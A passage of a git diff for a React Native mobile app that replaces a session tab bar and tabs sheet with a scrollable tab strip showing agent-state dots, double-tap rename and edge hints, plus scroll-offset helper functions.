-          style={({ pressed }) => [
-            styles.sideCell,
-            !inTopBar && styles.lastCell,
-            pressed && styles.cellPressed,
-            createDisabled && styles.cellDisabled
-          ]}
-          disabled={createDisabled}
-          onPress={handleOpenNewTab}
-          accessibilityRole="button"
-          accessibilityLabel={t('session.tabStrip.newTab', 'New tab')}
-          accessibilityState={{ disabled: createDisabled }}
-        >
-          <Plus size={18} color={colors.textPrimary} strokeWidth={2.2} />
-        </Pressable>
-      ) : null}
-      <MobileSessionTabsSheet
-        controller={controller}
-        rows={rows}
-        visible={sheetOpen}
-        onClose={() => setSheetOpen(false)}
-      />
-    </View>
-  )
-}
-
-const styles = themedStyleSheet(() => ({
-  bar: {
-    height: 44,
-    flexDirection: 'row',
-    alignItems: 'stretch',
-    borderTopWidth: 1,
-    borderTopColor: colors.borderSubtle
-  },
-  // Cancels the top bar's vertical padding so the cells run the bar's full height.
-  barInTopBar: {
-    flex: 1,
-    minWidth: 0,
-    flexDirection: 'row',
-    alignItems: 'stretch',
-    alignSelf: 'stretch',
-    marginVertical: -spacing.xs,
-    marginLeft: spacing.md,
-    borderLeftWidth: 1,
-    borderLeftColor: colors.borderSubtle
-  },
-  // The open tab, drawn like the strip's active tab: raised, with a line under it.
-  tabCell: {
-    flex: 1,
-    minWidth: 0,
-    backgroundColor: colors.bgRaised,
-    borderBottomWidth: 2,
-    borderBottomColor: colors.textSecondary,
-    borderRightWidth: 1,
-    borderRightColor: colors.borderSubtle,
-    overflow: 'hidden'
-  },
-  tabPress: {
-    flex: 1,
-    justifyContent: 'center',
-    paddingLeft: spacing.lg,
-    paddingRight: spacing.sm
-  },
-  tabContent: { flexDirection: 'row', alignItems: 'center', gap: 6 },
-  // Keeps web SVGs from shrinking before the title ellipsizes.
-  mark: { flexShrink: 0 },
-  title: {
-    flexShrink: 1,
-    minWidth: 0,
-    fontSize: 14,
-    fontWeight: '600',
-    color: colors.textPrimary
-  },
-  sideCell: {
-    width: 46,
-    alignItems: 'center',
-    justifyContent: 'center',
-    borderRightWidth: 1,
-    borderRightColor: colors.borderSubtle
-  },
-  // At the screen edge; in the top bar the hairline stays to part the cells from the round buttons.
-  lastCell: { borderRightWidth: 0 },
-  cellPressed: { backgroundColor: colors.translucentFill },
-  cellDisabled: { opacity: feedback.disabledOpacity },
-  countBox: {
-    minWidth: 19,
-    height: 19,
-    paddingHorizontal: 3,
-    borderRadius: 6,
-    borderWidth: 1.8,
-    borderColor: colors.textPrimary,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  countText: {
-    fontSize: 11,
-    fontWeight: '700',
-    color: colors.textPrimary,
-    fontVariant: ['tabular-nums']
-  },
-  // Another tab needs you: a red dot on the count's corner, ringed in the bar's colour.
-  alert: {
-    position: 'absolute',
-    top: 8,
-    right: 9,
-    width: 9,
-    height: 9,
-    borderRadius: radii.pill,
-    backgroundColor: colors.statusRed,
-    borderWidth: 2,
-    borderColor: colors.bgPanel
-  }
-}))
diff --git a/mobile/src/session/tabs/MobileSessionTabMark.tsx b/mobile/src/session/tabs/MobileSessionTabMark.tsx
deleted file mode 100644
index 67a1d0b3895..00000000000
--- a/mobile/src/session/tabs/MobileSessionTabMark.tsx
+++ /dev/null
@@ -1,28 +0,0 @@
-import { File, FileText, Globe, SquareTerminal } from 'lucide-react-native'
-import { MobileAgentIcon } from '../../components/MobileAgentIcon'
-import { colors } from '../../theme/mobile-theme'
-import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
-import type { MobileSessionTabRow } from './mobile-session-tab-rows'
-
-/** The tab's agent icon, else an icon for what kind of tab it is. */
-export function MobileSessionTabMark({
-  row,
-  size
-}: {
-  row: Pick<MobileSessionTabRow, 'tab' | 'agentId'>
-  size: number
-}) {
-  useMobileColorScheme()
-  if (row.agentId) {
-    return <MobileAgentIcon agentId={row.agentId} size={size} />
-  }
-  const Icon =
-    row.tab.type === 'browser'
-      ? Globe
-      : row.tab.type === 'markdown'
-        ? FileText
-        : row.tab.type === 'file'
-          ? File
-          : SquareTerminal
-  return <Icon size={size} color={colors.textSecondary} strokeWidth={2.1} />
-}
diff --git a/mobile/src/session/tabs/MobileSessionTabStrip.tsx b/mobile/src/session/tabs/MobileSessionTabStrip.tsx
new file mode 100644
index 00000000000..6455c9bf6f8
--- /dev/null
+++ b/mobile/src/session/tabs/MobileSessionTabStrip.tsx
@@ -0,0 +1,327 @@
+import { useCallback, useMemo, useRef, useState } from 'react'
+import { View, Text, ScrollView, Pressable, StyleSheet } from 'react-native'
+import { File, FileText, Globe, Plus, SquareTerminal } from 'lucide-react-native'
+import { triggerMediumImpact } from '../../platform/haptics'
+import { useMobileTranslation } from '../../i18n/use-mobile-translation'
+import { MobileAgentIcon } from '../../components/MobileAgentIcon'
+import { AgentStateDot } from '../../components/AgentStateDot'
+import { ArrivalFade } from '../../components/ArrivalFade'
+import { useReducedMotionEnabled } from '../../platform/use-reduced-motion'
+import { useNow } from '../../hooks/use-now'
+import {
+  agentDotState,
+  agentStateLabel,
+  type AgentDotState
+} from '../../worktree/agent-row-display'
+import {
+  getMobileTerminalTabHostAgentIdentity,
+  getMobileSessionTabTitle,
+  resolveMobileTerminalTabAgentId
+} from '../../terminal/session/mobile-terminal-tab-agent'
+import { colors, spacing } from '../../theme/mobile-theme'
+import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
+import { NavBarButton } from '../../components/nav-bar/NavBarButton'
+import {
+  resolveTabStripEdgeHint,
+  resolveTabStripHiddenTabs,
+  resolveTabStripTapOffset,
+  type TabStripHiddenTabs
+} from './tab-strip-scroll'
+import { styles } from '../mobile-session-styles'
+import { useKeyboardPersistingTaps } from '../../platform/keyboard-persisting-taps'
+import type { MobileSessionController } from '../use-mobile-session-controller'
+
+const DOUBLE_TAP_RENAME_MS = 300
+
+// A tab drawn before it had any agent state (a strip from the phone's store) fades its dot in when one lands.
+function SessionTabAgentDot({ state }: { state: AgentDotState | undefined }) {
+  const [startedEmpty] = useState(state === undefined)
+  if (startedEmpty) {
+    return <ArrivingSessionTabAgentDot state={state} />
+  }
+  return state && state !== 'idle' ? <AgentStateDot state={state} /> : null
+}
+
+// Mounted with the bare tab, so the motion preference is read before the dot arrives.
+function ArrivingSessionTabAgentDot({ state }: { state: AgentDotState | undefined }) {
+  const reducedMotion = useReducedMotionEnabled()
+  if (!state || state === 'idle') {
+    return null
+  }
+  return (
+    <ArrivalFade animate={reducedMotion === false}>
+      <AgentStateDot state={state} />
+    </ArrivalFade>
+  )
+}
+
+export function MobileSessionTabStrip({
+  controller,
+  inTopBar,
+  actionsCollapsed = false
+}: {
+  controller: MobileSessionController
+  inTopBar: boolean
+  actionsCollapsed?: boolean
+}) {
+  useMobileColorScheme()
+  const t = useMobileTranslation()
+  const {
+    activeSessionTabId,
+    activeSessionTabIdRef,
+    tabStripRef,
+    tabStripOffsetRef,
+    tabStripViewportWidthRef,
+    tabStripContentWidthRef,
+    tabLayoutsRef,
+    connState,
+    createTabBusy,
+    handleOpenNewTab,
+    scrollActiveTabIntoView,
+    holdTabStripReveal,
+    cancelHeldTabStripReveal,
+    switchSessionTab,
+    openSessionTabActionSheetAfterKeyboardDismiss,
+    setRenameTarget,
+    activeHandleRef,
+    visibleTabs,
+    terminals
+  } = controller
+  const tabBarKeepsKeyboard = useKeyboardPersistingTaps('handled')
+  const lastTabTapRef = useRef<{ id: string; at: number } | null>(null)
+  const now = useNow(60_000)
+  const tabStates = useMemo(() => {
+    const states = new Map<string, AgentDotState>()
+    for (const tab of visibleTabs) {
+      // Why: a status restored across a host restart is unconfirmed, so like desktop it shows no live state.
+      if (tab.type === 'terminal' && tab.agentStatus && !tab.agentStatus.restoredUnconfirmed) {
+        states.set(tab.id, agentDotState(tab.agentStatus, now))
+      } else if (tab.type === 'agent-session' && tab.chatStatus) {
+        states.set(tab.id, agentDotState(tab.chatStatus, now))
+      }
+    }
+    return states
+  }, [visibleTabs, now])
+  const [hiddenTabs, setHiddenTabs] = useState<TabStripHiddenTabs>({ left: [], right: [] })
+  const refreshHiddenTabs = () => {
+    const next = resolveTabStripHiddenTabs({
+      layouts: tabLayoutsRef.current,
+      viewportWidth: tabStripViewportWidthRef.current,
+      currentOffset: tabStripOffsetRef.current
+    })
+    // Why: scroll fires every frame; re-render only when a tab crosses an edge.
+    setHiddenTabs((prev) =>
+      prev.left.join('\n') === next.left.join('\n') &&
+      prev.right.join('\n') === next.right.join('\n')
+        ? prev
+        : next
+    )
+  }
+  const leftHint = resolveTabStripEdgeHint(hiddenTabs.left, tabStates)
+  const rightHint = resolveTabStripEdgeHint(hiddenTabs.right, tabStates)
+  const pressTab = useCallback(
+    (t: (typeof visibleTabs)[number]) => {
+      const at = Date.now()
+      const lastTap = lastTabTapRef.current
+      lastTabTapRef.current = { id: t.id, at }
+      if (
+        lastTap?.id === t.id &&
+        at - lastTap.at < DOUBLE_TAP_RENAME_MS &&
+        t.type === 'terminal' &&
+        typeof t.terminal === 'string'
+      ) {
+        lastTabTapRef.current = null
+        triggerMediumImpact()
+        setRenameTarget({
+          handle: t.terminal,
+          title: t.title,
+          isActive: t.terminal === activeHandleRef.current
+        })
+        // The first tap's held reveal still runs once the window closes.
+        return
+      }
+      cancelHeldTabStripReveal()
+      const nextOffset = resolveTabStripTapOffset({
+        tabId: t.id,
+        tabs: visibleTabs,
+        layouts: tabLayoutsRef.current,
+        viewportWidth: tabStripViewportWidthRef.current,
+        contentWidth: tabStripContentWidthRef.current,
+        currentOffset: tabStripOffsetRef.current
+      })
+      if (nextOffset !== tabStripOffsetRef.current) {
+        holdTabStripReveal(nextOffset, DOUBLE_TAP_RENAME_MS)
+      }
+      switchSessionTab(t)
+    },
+    [
+      activeHandleRef,
+      cancelHeldTabStripReveal,
+      holdTabStripReveal,
+      setRenameTarget,
+      switchSessionTab,
+      tabLayoutsRef,
+      tabStripContentWidthRef,
+      tabStripOffsetRef,
+      tabStripRef,
+      tabStripViewportWidthRef,
+      visibleTabs
+    ]
+  )
+  const attachTabStrip = useCallback(
+    (view: ScrollView | null) => {
+      if (view) {
+        tabStripOffsetRef.current = 0
+        tabStripViewportWidthRef.current = 0
+        tabStripContentWidthRef.current = 0
+        tabLayoutsRef.current.clear()
+      }
+      tabStripRef.current = view
+    },
+    [
+      tabStripRef,
+      tabStripOffsetRef,
+      tabStripViewportWidthRef,
+      tabStripContentWidthRef,
+      tabLayoutsRef
+    ]
+  )
+  return (
+    <View ref={tabBarKeepsKeyboard} style={inTopBar ? styles.tabBarInTopBar : styles.tabBar}>
+      {/* Why: tab taps must register on first press with the keyboard open instead of being eaten by dismissal (#5106). */}
+      <View style={styles.tabScrollFrame}>
+        <ScrollView
+          ref={attachTabStrip}
+          horizontal
+          showsHorizontalScrollIndicator={false}
+          style={[styles.tabScroll, inTopBar && styles.tabScrollInTopBar]}
+          contentContainerStyle={[styles.tabContent, inTopBar && styles.tabContentInTopBar]}
+          keyboardShouldPersistTaps="handled"
+          scrollEventThrottle={16}
+          onScrollBeginDrag={cancelHeldTabStripReveal}
+          onScroll={(e) => {
+            tabStripOffsetRef.current = e.nativeEvent.contentOffset.x
+            refreshHiddenTabs()
+          }}
+          onLayout={(e) => {
+            tabStripViewportWidthRef.current = e.nativeEvent.layout.width
+            scrollActiveTabIntoView(activeSessionTabIdRef.current, false)
+            refreshHiddenTabs()
+          }}
+          onContentSizeChange={(width) => {
+            tabStripContentWidthRef.current = width
+            scrollActiveTabIntoView(activeSessionTabIdRef.current, false)
+            refreshHiddenTabs()
+          }}
+        >
+          {visibleTabs.map((tab, index) => {
+            const tabState = tabStates.get(tab.id)
+            const hostAgentIdentity = getMobileTerminalTabHostAgentIdentity(tab, terminals)
+            const title = getMobileSessionTabTitle(tab, hostAgentIdentity)
+            return (
+              <Pressable
+                key={tab.id}
+                style={({ pressed }) => [
+                  styles.tab,
+                  index === 0 && !inTopBar && styles.tabFirst,
+                  tab.id === activeSessionTabId && styles.tabActive,
+                  pressed && styles.tabPressed
+                ]}
+                onLayout={(e) => {
+                  const { x, width } = e.nativeEvent.layout
+                  tabLayoutsRef.current.set(tab.id, { x, width })
+                  if (tab.id === activeSessionTabIdRef.current) {
+                    scrollActiveTabIntoView(tab.id, false)
+                  }
+                  refreshHiddenTabs()
+                }}
+                onPress={() => pressTab(tab)}
+                accessibilityRole="tab"
+                accessibilityLabel={
+                  tabState && tabState !== 'idle'
+                    ? t('session.tabStrip.tabStatus', '{{title}}, {{status}}', {
+                        title,
+                        status: agentStateLabel(tabState)
+                      })
+                    : title
+                }
+                accessibilityState={{ selected: tab.id === activeSessionTabId }}
+                onLongPress={() => {
+                  triggerMediumImpact()
+                  openSessionTabActionSheetAfterKeyboardDismiss(tab)
+                }}
+                delayLongPress={400}
+              >
+                <View style={styles.tabLabelRow}>
+                  <SessionTabAgentDot state={tabState} />
+                  <View style={styles.tabIcon}>
+                    {tab.type === 'browser' && (
+                      <Globe size={13} color={colors.textSecondary} strokeWidth={2.1} />
+                    )}
+                    {tab.type === 'markdown' && (
+                      <FileText size={13} color={colors.textSecondary} strokeWidth={2.1} />
+                    )}
+                    {tab.type === 'file' && (
+                      <File size={13} color={colors.textSecondary} strokeWidth={2.1} />
+                    )}
+                    {tab.type === 'agent-session' && (
+                      <MobileAgentIcon agentId={tab.agent} size={13} />
+                    )}
+                    {tab.type === 'terminal' &&
+                      (() => {
+                        const agentId = resolveMobileTerminalTabAgentId(tab, hostAgentIdentity)
+                        return agentId ? (
+                          <MobileAgentIcon agentId={agentId} size={13} />
+                        ) : (
+                          <SquareTerminal
+                            size={13}
+                            color={colors.textSecondary}
+                            strokeWidth={2.1}
+                          />
+                        )
+                      })()}
+                  </View>
+                  <Text
+                    style={[styles.tabText, tab.id === activeSessionTabId && styles.tabTextActive]}
+                    numberOfLines={1}
+                  >
+                    {title}
+                  </Text>
+                </View>
+              </Pressable>
+            )
+          })}
+        </ScrollView>
+        {leftHint ? (
+          <View pointerEvents="none" style={[styles.tabEdgeHint, styles.tabEdgeHintLeft]}>
+            <AgentStateDot state={leftHint} />
+          </View>
+        ) : null}
+        {rightHint ? (
+          <View pointerEvents="none" style={[styles.tabEdgeHint, styles.tabEdgeHintRight]}>
+            <AgentStateDot state={rightHint} />
+          </View>
+        ) : null}
+      </View>
+      {/* Terminal layout and Quick commands live in the header's ⋯ menu. */}
+      {!actionsCollapsed ? (
+        <View style={newTabStyles.slot}>
+          <NavBarButton
+            disabled={createTabBusy || connState !== 'connected'}
+            onPress={handleOpenNewTab}
+            accessibilityLabel={t('session.tabStrip.newTab', 'New tab')}
+            icon={Plus}
+          />
+        </View>
+      ) : null}
+    </View>
+  )
+}
+
+// The right inset matches the nav bar's, so the + lines up with the ⋯ above it.
+const newTabStyles = StyleSheet.create({
+  slot: {
+    paddingLeft: spacing.sm,
+    paddingRight: spacing.md
+  }
+})
diff --git a/mobile/src/session/tabs/MobileSessionTabsSheet.tsx b/mobile/src/session/tabs/MobileSessionTabsSheet.tsx
deleted file mode 100644
index f8cd5cd1981..00000000000
--- a/mobile/src/session/tabs/MobileSessionTabsSheet.tsx
+++ /dev/null
@@ -1,220 +0,0 @@
-import { Fragment, useRef, useState } from 'react'
-import { Pressable, Text, View } from 'react-native'
-import { Plus, X } from 'lucide-react-native'
-import { BottomDrawer } from '../../components/bottom-drawer/BottomDrawer'
-import { ListGroup, SectionHeader } from '../../components/list/ListGroup'
-import { NavBarButton } from '../../components/nav-bar/NavBarButton'
-import { SheetHeader } from '../../components/nav-bar/SheetHeader'
-import { SwipeRowActions } from '../../components/SwipeRowActions'
-import { AgentStateDot } from '../../components/AgentStateDot'
-import { useMobileTranslation } from '../../i18n/use-mobile-translation'
-import { useNow } from '../../hooks/use-now'
-import { formatTimeAgo } from '../../worktree/agent-row-display'
-import { colors, radii, spacing } from '../../theme/mobile-theme'
-import { themedStyleSheet } from '../../theme/themed-styles'
-import { useMobileColorScheme } from '../../theme/use-mobile-color-scheme'
-import type { MobileSessionTabGroup, MobileSessionTabRow } from './mobile-session-tab-rows'
-import { MobileSessionTabMark } from './MobileSessionTabMark'
-import type { MobileSessionController } from '../use-mobile-session-controller'
-
-const TILE_SIZE = 34
-const TILE_DOT_RING = 2
-const GROUP_ORDER: readonly MobileSessionTabGroup[] = ['needs-you', 'working', 'other']
-
-/** Every tab in the workspace, what needs you first; tap one to go there, swipe one to close it. */
-export function MobileSessionTabsSheet({
-  controller,
-  rows,
-  visible,
-  onClose
-}: {
-  controller: MobileSessionController
-  rows: readonly MobileSessionTabRow[]
-  visible: boolean
-  onClose: () => void
-}) {
-  useMobileColorScheme()
-  const t = useMobileTranslation()
-  const now = useNow(60_000)
-  const {
-    activeSessionTabId,
-    worktreeName,
-    switchSessionTab,
-    handleCloseSessionTab,
-    handleOpenNewTab,
-    createTabBusy,
-    connState
-  } = controller
-  // Sections hold still while the sheet is open, so a row never moves under a finger.
-  const [frozenGroups, setFrozenGroups] = useState<ReadonlyMap<string, MobileSessionTabGroup>>()
-  if (visible && frozenGroups === undefined) {
-    setFrozenGroups(new Map(rows.map((row) => [row.tab.id, row.group])))
-  }
-  const afterCloseRef = useRef<(() => void) | null>(null)
-  const sections = GROUP_ORDER.map((group) => ({
-    group,
-    rows: rows.filter((row) => (frozenGroups?.get(row.tab.id) ?? row.group) === group)
-  })).filter((section) => section.rows.length > 0)
-  const sectionTitles: Record<MobileSessionTabGroup, string> = {
-    'needs-you': t('session.tabsSheet.needsYou', 'Needs you'),
-    working: t('session.tabsSheet.working', 'Working'),
-    other: t('session.tabsSheet.everythingElse', 'Everything else')
-  }
-  const title =
-    rows.length === 1
-      ? t('session.tabBar.oneTab', '1 tab')
-      : t('session.tabBar.tabCount', '{{count}} tabs', { count: rows.length })
-
-  const renderRow = (row: MobileSessionTabRow) => {
-    const current = row.tab.id === activeSessionTabId
-    const badge = row.dotState && row.dotState !== 'idle' ? row.dotState : undefined
-    const time = current
-      ? t('session.tabsSheet.open', 'Open')
-      : row.timeAt !== null
-        ? formatTimeAgo(row.timeAt, now)
-        : ''
-    return (
-      <SwipeRowActions
-        key={row.tab.id}
-        trailing={{
-          label: t('common.close', 'Close'),
-          accessibilityLabel: t('session.tabsSheet.closeTab', 'Close {{title}}', {
-            title: row.title
-          }),
-          icon: X,
-          background: colors.statusRed,
-          foreground: colors.onStatusRed,
-          onPress: () => void handleCloseSessionTab(row.tab)
-        }}
-      >
-        {(guardPress) => (
-          <Pressable
-            accessibilityRole="button"
-            accessibilityLabel={[row.title, row.detail, time].filter(Boolean).join(', ')}
-            accessibilityState={{ selected: current }}
-            style={styles.row}
-            onPress={guardPress(() => {
-              if (!current) {
-                switchSessionTab(row.tab)
-              }
-              onClose()
-            })}
-          >
-            {({ pressed }) => (
-              <>
-                {current || pressed ? <View pointerEvents="none" style={styles.wash} /> : null}
-                <View style={styles.tile}>
-                  <MobileSessionTabMark row={row} size={17} />
-                  {badge ? (
-                    <View style={styles.tileBadge}>
-                      <AgentStateDot state={badge} />
-                    </View>
-                  ) : null}
-                </View>
-                <View style={styles.text}>
-                  <Text style={styles.title} numberOfLines={1}>
-                    {row.title}
-                  </Text>
-                  <Text style={styles.detail} numberOfLines={1}>
-                    {row.detail}
-                  </Text>
-                </View>
-                {time ? (
-                  <Text style={[styles.time, current && styles.timeCurrent]}>{time}</Text>
-                ) : null}
-              </>
-            )}
-          </Pressable>
-        )}
-      </SwipeRowActions>
-    )
-  }
-
-  return (
-    <BottomDrawer
-      visible={visible}
-      onClose={onClose}
-      onAfterClose={() => {
-        setFrozenGroups(undefined)
-        const afterClose = afterCloseRef.current
-        afterCloseRef.current = null
-        afterClose?.()
-      }}
-    >
-      <View>
-        <SheetHeader title={title} subtitle={worktreeName || undefined} />
-        <View style={styles.newTab}>
-          <NavBarButton
-            icon={Plus}
-            disabled={createTabBusy || connState !== 'connected'}
-            accessibilityLabel={t('session.tabStrip.newTab', 'New tab')}
-            onPress={() => {
-              // The new-tab sheet is its own drawer; open it once this one is gone.
-              afterCloseRef.current = handleOpenNewTab
-              onClose()
-            }}
-          />
-        </View>
-      </View>
-      <View style={styles.body}>
-        {sections.map((section, index) => (
-          <Fragment key={section.group}>
-            {sections.length > 1 ? (
-              <SectionHeader title={sectionTitles[section.group]} first={index === 0} />
-            ) : null}
-            <ListGroup separatorInset={spacing.lg + TILE_SIZE + spacing.md}>
-              {section.rows.map(renderRow)}
-            </ListGroup>
-          </Fragment>
-        ))}
-      </View>
-    </BottomDrawer>
-  )
-}
-
-const styles = themedStyleSheet(() => ({
-  // Over the sheet header's empty trailing side, centred in its 52pt row.
-  newTab: { position: 'absolute', top: 8, right: spacing.xs },
-  body: { paddingBottom: spacing.lg },
-  // Opaque so a swipe's action stays hidden until the row slides off it.
-  row: {
-    minHeight: 60,
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: spacing.md,
-    paddingHorizontal: spacing.lg,
-    paddingVertical: spacing.sm,
-    backgroundColor: colors.sheetGroup
-  },
-  // The tab you're in, or a pressed row, washed like a picked segment on a sheet group.
-  wash: {
-    position: 'absolute',
-    top: 0,
-    right: 0,
-    bottom: 0,
-    left: 0,
-    backgroundColor: colors.translucentFill
-  },
-  tile: {
-    width: TILE_SIZE,
-    height: TILE_SIZE,
-    borderRadius: radii.tile,
-    backgroundColor: colors.translucentFill,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  // The state dot on the tile's corner, ringed in the group's colour.
-  tileBadge: {
-    position: 'absolute',
-    top: -4,
-    right: -4,
-    padding: TILE_DOT_RING,
-    borderRadius: radii.pill,
-    backgroundColor: colors.sheetGroup
-  },
-  text: { flex: 1, minWidth: 0, gap: 2 },
-  title: { fontSize: 15, fontWeight: '600', color: colors.textPrimary },
-  detail: { fontSize: 13, color: colors.textSecondary },
-  time: { fontSize: 12, color: colors.textMuted, fontVariant: ['tabular-nums'] },
-  timeCurrent: { fontWeight: '600', color: colors.accentBlue }
-}))
diff --git a/mobile/src/session/tabs/mobile-session-tab-rows.ts b/mobile/src/session/tabs/mobile-session-tab-rows.ts
deleted file mode 100644
index 1b2854512f6..00000000000
--- a/mobile/src/session/tabs/mobile-session-tab-rows.ts
+++ /dev/null
@@ -1,121 +0,0 @@
-import { agentListPreview } from '../../agents/agent-list-row-text'
-import { agentStatusGroup } from '../../agents/agent-list-rows'
-import { translate } from '../../i18n/mobile-i18n'
-import {
-  getMobileSessionTabTitle,
-  getMobileTerminalTabHostAgentIdentity,
-  resolveMobileTerminalTabAgentId
-} from '../../terminal/session/mobile-terminal-tab-agent'
-import {
-  agentDotState,
-  agentRowTimeAt,
-  agentStateLabel,
-  type AgentDotState
-} from '../../worktree/agent-row-display'
-import type { MobileSessionTab } from './mobile-session-tabs'
-
-export type MobileSessionTabGroup = 'needs-you' | 'working' | 'other'
-
-export type MobileSessionTabRow = {
-  tab: MobileSessionTab
-  title: string
-  /** The agent whose icon marks the tab; null draws the tab kind's icon. */
-  agentId: string | null
-  dotState: AgentDotState | undefined
-  group: MobileSessionTabGroup
-  /** The second line: the state, then what the tab is doing or showing. */
-  detail: string
-  timeAt: number | null
-}
-
-export function mobileSessionTabDotState(
-  tab: MobileSessionTab,
-  now: number
-): AgentDotState | undefined {
-  // Why: a status restored across a host restart is unconfirmed, so like desktop it shows no live state.
-  if (tab.type === 'terminal' && tab.agentStatus && !tab.agentStatus.restoredUnconfirmed) {
-    return agentDotState(tab.agentStatus, now)
-  }
-  if (tab.type === 'agent-session' && tab.chatStatus) {
-    return agentDotState(tab.chatStatus, now)
-  }
-  return undefined
-}
-
-function tabGroup(state: AgentDotState | undefined): MobileSessionTabGroup {
-  if (!state) {
-    return 'other'
-  }
-  const group = agentStatusGroup(state)
-  return group === 'needs-you' || group === 'working' ? group : 'other'
-}
-
-function tabContent(
-  tab: MobileSessionTab,
-  title: string,
-  dotState: AgentDotState | undefined
-): string {
-  switch (tab.type) {
-    case 'terminal': {
-      const status = tab.agentStatus
-      if (!status || !dotState) {
-        return ''
-      }
-      return agentListPreview(status, agentStatusGroup(dotState), title)
-    }
-    case 'browser':
-      return tab.url === title ? '' : tab.url
-    case 'markdown':
-    case 'file':
-      return tab.relativePath === title ? '' : tab.relativePath
-    case 'agent-session':
-      return ''
-  }
-}
-
-function tabKindLabel(tab: MobileSessionTab): string {
-  switch (tab.type) {
-    case 'browser':
-      return translate('session.tabRows.browser', 'Browser')
-    case 'markdown':
-      return translate('session.tabRows.markdown', 'Markdown note')
-    case 'file':
-      return translate('session.tabRows.file', 'File')
-    case 'agent-session':
-      return translate('session.tabRows.chat', 'Chat')
-    case 'terminal':
-      return translate('session.tabRows.terminal', 'Terminal')
-  }
-}
-
-export function buildMobileSessionTabRow(
-  tab: MobileSessionTab,
-  terminals: readonly { handle: string; agentIdentity?: string }[],
-  now: number
-): MobileSessionTabRow {
-  const hostAgentIdentity = getMobileTerminalTabHostAgentIdentity(tab, terminals)
-  const title = getMobileSessionTabTitle(tab, hostAgentIdentity)
-  const dotState = mobileSessionTabDotState(tab, now)
-  const stateWord = dotState && dotState !== 'idle' ? agentStateLabel(dotState) : ''
-  const content = tabContent(tab, title, dotState)
-  const timeAt =
-    tab.type === 'terminal' && tab.agentStatus && !tab.agentStatus.restoredUnconfirmed
-      ? agentRowTimeAt(tab.agentStatus)
-      : tab.type === 'agent-session' && tab.chatStatus
-        ? tab.chatStatus.updatedAt
-        : null
-  return {
-    tab,
-    title,
-    agentId:
-      tab.type === 'agent-session'
-        ? tab.agent
-        : tab.type === 'terminal'
-          ? resolveMobileTerminalTabAgentId(tab, hostAgentIdentity)
-          : null,
-    dotState,
-    group: tabGroup(dotState),
-    detail: [stateWord, content].filter(Boolean).join(' · ') || tabKindLabel(tab),
-    timeAt
-  }
-}
diff --git a/mobile/src/session/tabs/tab-strip-scroll.ts b/mobile/src/session/tabs/tab-strip-scroll.ts
index e7d6c85e416..9b9dd9ce99b 100644
--- a/mobile/src/session/tabs/tab-strip-scroll.ts
+++ b/mobile/src/session/tabs/tab-strip-scroll.ts
@@ -1,3 +1,5 @@
+import type { AgentDotState } from '../../worktree/agent-row-display'
+
 export type TabStripScrollInput = {
   tabX: number
   tabWidth: number
@@ -34,3 +36,98 @@ export function resolveTabStripScrollOffset({
 
   return Math.min(Math.max(0, nextOffset), maxOffset)
 }
+
+type TabLayouts = ReadonlyMap<string, { x: number; width: number }>
+
+export function resolveTabStripTapOffset(args: {
+  tabId: string
+  tabs: readonly { id: string }[]
+  layouts: TabLayouts
+  viewportWidth: number
+  contentWidth: number
+  currentOffset: number
+}): number {
+  const { tabs, layouts, viewportWidth, contentWidth, currentOffset } = args
+  const index = tabs.findIndex((tab) => tab.id === args.tabId)
+  const selected = layouts.get(args.tabId)
+  if (index === -1 || !selected || viewportWidth <= 0) {
+    return currentOffset
+  }
+  const selectedOnly = resolveTabStripScrollOffset({
+    tabX: selected.x,
+    tabWidth: selected.width,
+    viewportWidth,
+    contentWidth,
+    currentOffset
+  })
+  if (selectedOnly === currentOffset) {
+    return currentOffset
+  }
+  const left = selected.x + selected.width / 2 < currentOffset + viewportWidth / 2
+  const neighbor = tabs[index + (left ? -1 : 1)]
+  const layout = neighbor ? layouts.get(neighbor.id) : undefined
+  let start = selected.x
+  let end = selected.x + selected.width
+  if (layout) {
+    const gap = left ? selected.x - (layout.x + layout.width) : layout.x - end
+    // Keep the tapped tab whole while revealing as much of its neighbor as fits within both margins.
+    const peek = Math.min(layout.width, Math.max(0, viewportWidth - 24 - selected.width - gap))
+    if (left) {
+      start -= gap + peek
+    } else {
+      end += gap + peek
+    }
+  }
+  return resolveTabStripScrollOffset({
+    tabX: start,
+    tabWidth: end - start,
+    viewportWidth,
+    contentWidth,
+    currentOffset
+  })
+}
+
+export type TabStripHiddenTabs = { left: readonly string[]; right: readonly string[] }
+
+export function resolveTabStripHiddenTabs(args: {
+  layouts: TabLayouts
+  viewportWidth: number
+  currentOffset: number
+}): TabStripHiddenTabs {
+  const left: string[] = []
+  const right: string[] = []
+  if (args.viewportWidth > 0) {
+    for (const [tabId, layout] of args.layouts) {
+      const center = layout.x + layout.width / 2
+      if (center < args.currentOffset) {
+        left.push(tabId)
+      } else if (center > args.currentOffset + args.viewportWidth) {
+        right.push(tabId)
+      }
+    }
+  }
+  return { left, right }
+}
+
+// Lower ranks win when several hidden tabs share an edge; other states get no edge hint.
+const EDGE_HINT_RANK: Partial<Record<AgentDotState, number>> = {
+  blocked: 0,
+  waiting: 0,
+  working: 1,
+  monitoring: 1
+}
+
+export function resolveTabStripEdgeHint(
+  tabIds: readonly string[],
+  tabStates: ReadonlyMap<string, AgentDotState>
+): AgentDotState | null {
+  let hint: AgentDotState | null = null
+  for (const tabId of tabIds) {
+    const state = tabStates.get(tabId)
+    const rank = state ? EDGE_HINT_RANK[state] : undefined
+    if (state && rank !== undefined && (hint === null || rank < (EDGE_HINT_RANK[hint] ?? 0))) {
+      hint = state
+    }
+  }
+  return hint
+}
diff --git a/mobile/src/session/use-missing-worktree-bounce.test.ts b/mobile/src/session/use-missing-worktree-bounce.test.ts
deleted file mode 100644
index 49600fd89d8..00000000000
--- a/mobile/src/session/use-missing-worktree-bounce.test.ts
+++ /dev/null
@@ -1,17 +0,0 @@
-import { describe, expect, it } from 'vitest'
-import { isSyntheticWorkspaceRoute } from './synthetic-workspace-route'
-import { shouldBounceMissingWorktree } from './use-missing-worktree-bounce'
-
-describe('shouldBounceMissingWorktree', () => {
-  it('bounces only a host-proven missing worktree', () => {
-    expect(shouldBounceMissingWorktree('repo::wt', 'missing')).toBe(true)
-    expect(shouldBounceMissingWorktree('repo::wt', 'unknown')).toBe(false)
-    expect(shouldBounceMissingWorktree('repo::wt', 'present')).toBe(false)
-  })
-
